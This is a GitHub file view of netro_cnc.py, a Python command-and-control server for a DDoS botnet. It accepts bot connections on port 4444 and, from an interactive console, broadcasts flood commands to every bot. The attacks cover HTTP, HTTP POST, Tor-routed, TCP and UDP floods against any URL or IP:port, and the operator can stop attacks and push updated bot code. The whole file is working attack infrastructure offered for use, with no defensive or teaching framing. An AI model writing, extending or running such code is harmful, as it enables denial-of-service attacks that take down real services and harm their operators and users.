-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathnetro_cnc.py
572 lines (431 loc) · 18.6 KB
/
netro_cnc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
from urllib.parse import urlparse
from datetime import datetime
import threading
import readline
import socket
import random
import string
import time
import json
import sys
import os
class NetroCNC(object):
attacks_path = f"{os.path.dirname(__file__)}/running_attacks.json"
client_bots = []
bot_hostnames = {}
ping_sequences = {}
def __init__(self, host: str, port: int, timeout: int = 10):
self.host = host
self.port = port
if not os.path.exists(self.attacks_path):
with open(self.attacks_path, "a") as file:
file.write("{}")
file.close()
def start(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((self.host, self.port))
sock.listen()
while True:
client_sock, client_address = sock.accept()
threading.Thread(target=self.client_handler, args=[client_sock], daemon=True).start()
def client_handler(self, client_sock: socket.socket):
self.client_bots.append(client_sock)
try:
while True:
message = b""
while True:
chunk = client_sock.recv(1)
if not chunk:
raise Exception("Connection closed.")
message += chunk
if message.endswith(b"\r\n\r\n"):
break
self.on_message(client_sock=client_sock, message=json.loads(message))
except Exception:
self.client_bots.remove(client_sock)
client_sock.close()
if client_sock in self.ping_sequences:
del self.ping_sequences[client_sock]
if client_sock in self.bot_hostnames:
del self.bot_hostnames[client_sock]
def on_message(self, client_sock: socket.socket, message: dict):
if not "op" in message:
raise Exception("Invalid message.")
match message["op"]:
case "PING":
self.on_ping(client_sock=client_sock, ping_data=message)
case "LOGIN":
self.on_login(client_sock=client_sock, login_data=message)
def on_login(self, client_sock: socket.socket, login_data: dict):
if client_sock in self.bot_hostnames:
raise Exception("Client already logged in.")
if not "hostname" in login_data:
raise Exception("Invalid login data.")
self.bot_hostnames[client_sock] = login_data["hostname"]
running_attacks = self.get_running_attacks()
self.send_message(client_sock=client_sock, message={"op": "ATTACK_LIST", "running_attacks": running_attacks})
def on_ping(self, client_sock: socket.socket, ping_data: dict):
if not "sequence" in ping_data:
raise Exception("Invalid ping sequence.")
ping_sequence = ping_data["sequence"]
if not client_sock in self.ping_sequences:
if not ping_sequence == 0:
raise Exception("Invalid ping sequence.")
self.ping_sequences[client_sock] = 0
else:
last_ping_sequence = self.ping_sequences[client_sock]
if not last_ping_sequence + 1 == ping_sequence:
raise Exception("Invalid ping sequence.")
self.ping_sequences[client_sock] += 1
self.send_message(client_sock=client_sock, message={"op": "PONG", "sequence": ping_sequence})
def send_message(self, client_sock: socket.socket, message: dict):
if not client_sock in self.client_bots:
raise Exception("Client sock has been removed.")
return client_sock.send(json.dumps(message).encode() + b"\r\n\r\n")
def broadcast_message(self, message: dict):
total_client_bots = len(self.client_bots)
for client_bot in self.client_bots:
threading.Thread(target=self.send_message, args=[client_bot, message], daemon=True).start()
return total_client_bots
def execute_command(self, command: str, args: list = []):
match command:
case "help":
return self.command_help()
case "bots":
return self.command_bots()
case "attacks":
return self.command_attacks()
case "attack":
return self.command_attack(args=args)
case "launch":
return self.command_launch(args=args)
case "clear":
return clear_console()
case "stop":
return self.command_stop(args=args)
case "bot_list":
return self.command_bot_list()
case "stop_all":
return self.command_stop_all()
case "update":
return self.command_update()
return "Command not found. Type \"help\" to show the list of available commands."
def command_help(self):
with open("cnc_help.txt", "r") as help_file:
help_message = help_file.read()
help_file.close()
return help_message
def command_bots(self):
return f"Bots connected: {len(self.client_bots)}"
def command_bot_list(self):
if len(self.bot_hostnames) < 1:
return "No bots connected."
client_socks = self.bot_hostnames.copy()
client_hostnames = dict((v, k) for k, v in client_socks.items())
sep1 = 10
for hostname in client_hostnames:
se1 = len(str(hostname))
if se1 > sep1:
sep1 = se1 + 2
output = f"Hostname{' ' * int(sep1 - 8)}Address\n\n"
for hostname in sorted(client_hostnames):
client_host, client_port = client_hostnames[hostname].getpeername()
client_address = f"{client_host}:{client_port}"
output += f"{hostname}{' ' * int(sep1 - len(hostname))}{client_address}\n"
output += f"\nTotal Bots: {len(client_socks)}"
return output
def command_launch(self, args: list):
if len(args) < 1:
return "Missing command arguments. Type \"help\" to show the launch command manual."
attack_methods = ["http", "http-post", "hcf", "tor-get", "tor-post", "tor-hcf", "tor-tcp", "tcp", "udp"]
attack_method = args[0].lower()
if not attack_method in attack_methods:
return f"This attack method does not exist. Available attack methods: {attack_methods}"
args.pop(0)
match attack_method:
case "http":
return self.attack_method_http(args=args, http_method="http")
case "http-post":
return self.attack_method_http(args=args, http_method="http-post")
case "hcf":
return self.attack_method_http(args=args, http_method="hcf")
case "tor-get":
return self.attack_method_http(args=args, http_method="tor-get")
case "tor-post":
return self.attack_method_http(args=args, http_method="tor-post")
case "tor-hcf":
return self.attack_method_http(args=args, http_method="tor-hcf")
case "tor-tcp":
return self.attack_method_tcp(args=args, tcp_method="tor-tcp")
case "tcp":
return self.attack_method_tcp(args=args)
case "udp":
return self.attack_method_udp(args=args)
def attack_method_http(self, args: list, http_method: str = "http"):
usage = f"launch {http_method} [URL] [DURATION] [CONCURRENCY]"
try:
url = args[0]
parsed = urlparse(url)
if not parsed.hostname.endswith("onion"):
socket.gethostbyname(parsed.hostname)
if not parsed.scheme in ["http", "https"]:
raise Exception
except Exception:
return f"Error: Missing or invalid HTTP attack URL.\nUsage: {usage}"
try:
duration = int(args[1])
if duration < 10:
raise Exception
except Exception:
return f"Error: Missing or invalid HTTP attack duration.\nUsage: {usage}"
try:
concurrency = int(args[2])
if concurrency < 1:
raise Exception
except Exception:
return f"Error: Missing or invalid HTTP attack concurrency.\nUsage: {usage}"
attack_id = self.generate_attack_id()
attack_timeout = time.time() + duration
attack_command = {
"op": "COMMAND",
"command": "launch",
"attack_payload": {
"id": attack_id,
"method": http_method,
"target": url,
"timeout": attack_timeout,
"concurrency": concurrency
}
}
total_bots = self.broadcast_message(message=attack_command)
self.store_attack(attack_payload=attack_command["attack_payload"])
return f"Initialized {http_method.upper()} attack on {url}\nAttack ID: {attack_id}\nTotal Bots: {total_bots}\nDuration: {duration}\nConcurrency: {concurrency}"
def attack_method_tcp(self, args: list, tcp_method: str = "tcp"):
usage = f"launch {tcp_method} [IP:PORT] [DURATION] [CONCURRENCY]"
try:
target = args[0]
host, port = target.split(":", 1)
port = int(port)
socket.gethostbyname(host)
if any([port < 1, port > 65535]):
raise Exception
except Exception:
return f"Error: Missing or invalid TCP attack target.\nUsage: {usage}"
try:
duration = int(args[1])
if duration < 10:
raise Exception
except Exception:
return f"Error: Missing or invalid TCP attack duration.\nUsage: {usage}"
try:
concurrency = int(args[2])
except Exception:
return f"Error: Missing or invalid TCP attack concurrency.\nUsage: {usage}"
attack_id = self.generate_attack_id()
attack_timeout = time.time() + duration
attack_command = {
"op": "COMMAND",
"command": "launch",
"attack_payload": {
"id": attack_id,
"method": tcp_method,
"target": target,
"timeout": attack_timeout,
"concurrency": concurrency
}
}
total_bots = self.broadcast_message(message=attack_command)
self.store_attack(attack_payload=attack_command["attack_payload"])
return f"Initialized TCP attack on {target}\nAttack ID: {attack_id}\nTotal Bots: {total_bots}\nDuration: {duration}\nConcurrency: {concurrency}"
def attack_method_udp(self, args: list):
usage = "launch udp [IP:PORT] [DURATION]"
try:
target = args[0]
host, port = target.split(":", 1)
port = int(port)
socket.gethostbyname(host)
if any([port < 1, port > 65535]):
raise Exception
except Exception:
return f"Error: Missing or invalid UDP attack target.\nUsage: {usage}"
try:
duration = int(args[1])
if duration < 10:
raise Exception
except Exception:
return f"Error: Missing or invalid UDP attack duration.\nUsage: {usage}"
attack_id = self.generate_attack_id()
attack_timeout = time.time() + duration
attack_command = {
"op": "COMMAND",
"command": "launch",
"attack_payload": {
"id": attack_id,
"method": "udp",
"target": target,
"timeout": attack_timeout,
"concurrency": 1
}
}
total_bots = self.broadcast_message(message=attack_command)
self.store_attack(attack_payload=attack_command["attack_payload"])
return f"Initialized UDP attack on {target}\nAttack ID: {attack_id}\nTotal Bots: {total_bots}\nDuration: {duration}"
def generate_attack_id(self):
return "".join(random.choices(string.ascii_letters + string.digits, k=10))
def command_attack(self, args: list):
try:
attack_id = args[0]
except Exception:
return "Missing argument: attack_id"
running_attacks = self.get_running_attacks()
if not attack_id in running_attacks:
return "Attack not found."
output = ""
for k in running_attacks[attack_id]:
v = running_attacks[attack_id][k]
output += f"{k}: {v}\n"
return output
def command_attacks(self):
output = ""
running_attacks = self.get_running_attacks()
if not running_attacks:
output = "No running attacks."
else:
sep1 = 0
sep2 = 0
sep3 = 0
sep4 = 0
for attack_id in running_attacks:
attack_payload = running_attacks[attack_id]
se1 = len(str(attack_id))
se2 = len(str(attack_payload["method"]))
se3 = len(str(attack_payload["target"][:50]))
se4 = len(str(datetime.fromtimestamp(attack_payload["timeout"]).strftime("%m-%d-%Y-%H:%M:%S")))
if se1 > sep1:
sep1 = se1 + 2
if se2 > sep2:
sep2 = se2 + 2
if se3 > sep3:
sep3 = se3 + 2
if se4 > sep4:
sep4 = se4 + 2
output = f"ID{' ' * int(sep1 - 2)}Method{' ' * int(sep2 - 6)}Target{' ' * int(sep3 - 6)}Timeout{' ' * int(sep4 - 7)}Concurrency\n"
for attack_id in running_attacks:
attack_payload = running_attacks[attack_id]
method = str(attack_payload["method"])
target = str(attack_payload["target"])
timeout = str(datetime.fromtimestamp(attack_payload["timeout"]).strftime("%m-%d-%Y-%H:%M:%S"))
concurrency = str(attack_payload["concurrency"])
if len(target) > 50:
target = f"{target[:47]}..."
output += f"{attack_id}{' ' * int(sep1 - len(attack_id))}{method}{' ' * int(sep2 - len(method))}{target}{' ' * int(sep3 - len(target))}{timeout}{' ' * int(sep4 - len(timeout))}{concurrency}\n"
return output
def command_stop(self, args: list):
if len(args) < 1:
return "Missing attack ID. Type \"help\" to show the stop command example."
running_attacks = self.get_running_attacks()
attack_id = args[0]
if not attack_id in running_attacks:
return "This attack ID does not exist. Type \"attacks\" to show the list of currently running attacks."
self.broadcast_message({"op": "COMMAND", "command": "stop_attack", "attack_id": attack_id})
running_attacks = self.get_running_attacks()
del running_attacks[attack_id]
json.dump(running_attacks, open(self.attacks_path, "w"))
return f"Attack ID: {attack_id} has been stopped."
def command_stop_all(self):
running_attacks = self.get_running_attacks()
json.dump({}, open(self.attacks_path, "w"))
self.broadcast_message(message={"op": "ATTACK_LIST", "running_attacks": {}})
return f"Stopped {len(running_attacks)} attacks."
def command_update(self):
with open("netro_bot.py", "r") as file:
script_content = file.read()
file.close()
self.broadcast_message(message={"op": "UPDATE", "script_content": script_content})
return "Successfully told bots to update."
def store_attack(self, attack_payload: dict):
attack_id = attack_payload["id"]
del attack_payload["id"]
running_attacks = self.get_running_attacks()
running_attacks[attack_id] = attack_payload
json.dump(running_attacks, open(self.attacks_path, "w"))
def get_running_attacks(self):
running_attacks = json.load(open(self.attacks_path, "r"))
for attack_id in running_attacks.copy():
attack_payload = running_attacks[attack_id]
if time.time() >= attack_payload["timeout"]:
del running_attacks[attack_id]
return running_attacks
class Colors:
RED = "\u001b[31;1m"
GREEN = "\u001b[32;1m"
YELLOW = "\u001b[33;1m"
BLUE = "\u001b[34;1m"
PURPLE = "\u001b[35;1m"
CYAN = "\u001b[36;1m"
RESET = "\u001b[0;0m"
def clear_console():
if sys.platform == "win32":
os.system("cls")
elif sys.platform in ["linux", "linux2"]:
os.system("clear")
def show_banner():
with open("cnc_banner.txt", "rb") as file:
banner = file.read().decode()
file.close()
terminal_columns = os.get_terminal_size().columns
highest_line = 0
for line in banner.splitlines():
if len(line) > highest_line:
highest_line = len(line)
spaces = int((terminal_columns - highest_line) / 2)
print(Colors.RED)
for line in banner.splitlines():
print(f"{' ' * spaces}{line}")
print(Colors.RESET)
def main():
clear_console()
show_banner()
print("Initializing server...")
time.sleep(0.3)
netro_cnc = NetroCNC(host="0.0.0.0", port=4444, timeout=10)
threading.Thread(target=netro_cnc.start, daemon=True).start()
print(f"Server has initialized. Type \"help\" to show the list of available commands.\n")
commands_list = [
"help",
"clear",
"bots",
"bot_list",
"attacks",
"attack",
"launch",
"stop",
"stop_all",
"update"
]
def autocomplete_command(text, state):
for command in commands_list:
if command.startswith(text):
if not state:
return command
else:
state -= 1
readline.parse_and_bind("tab: complete")
readline.set_completer(autocomplete_command)
while True:
full_command = input(">")
try:
command, args = full_command.split(" ", 1)
args = args.split(" ")
except Exception:
command = full_command
args = []
result = netro_cnc.execute_command(command=command, args=args)
if result:
print(f"{result}\n")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
exit()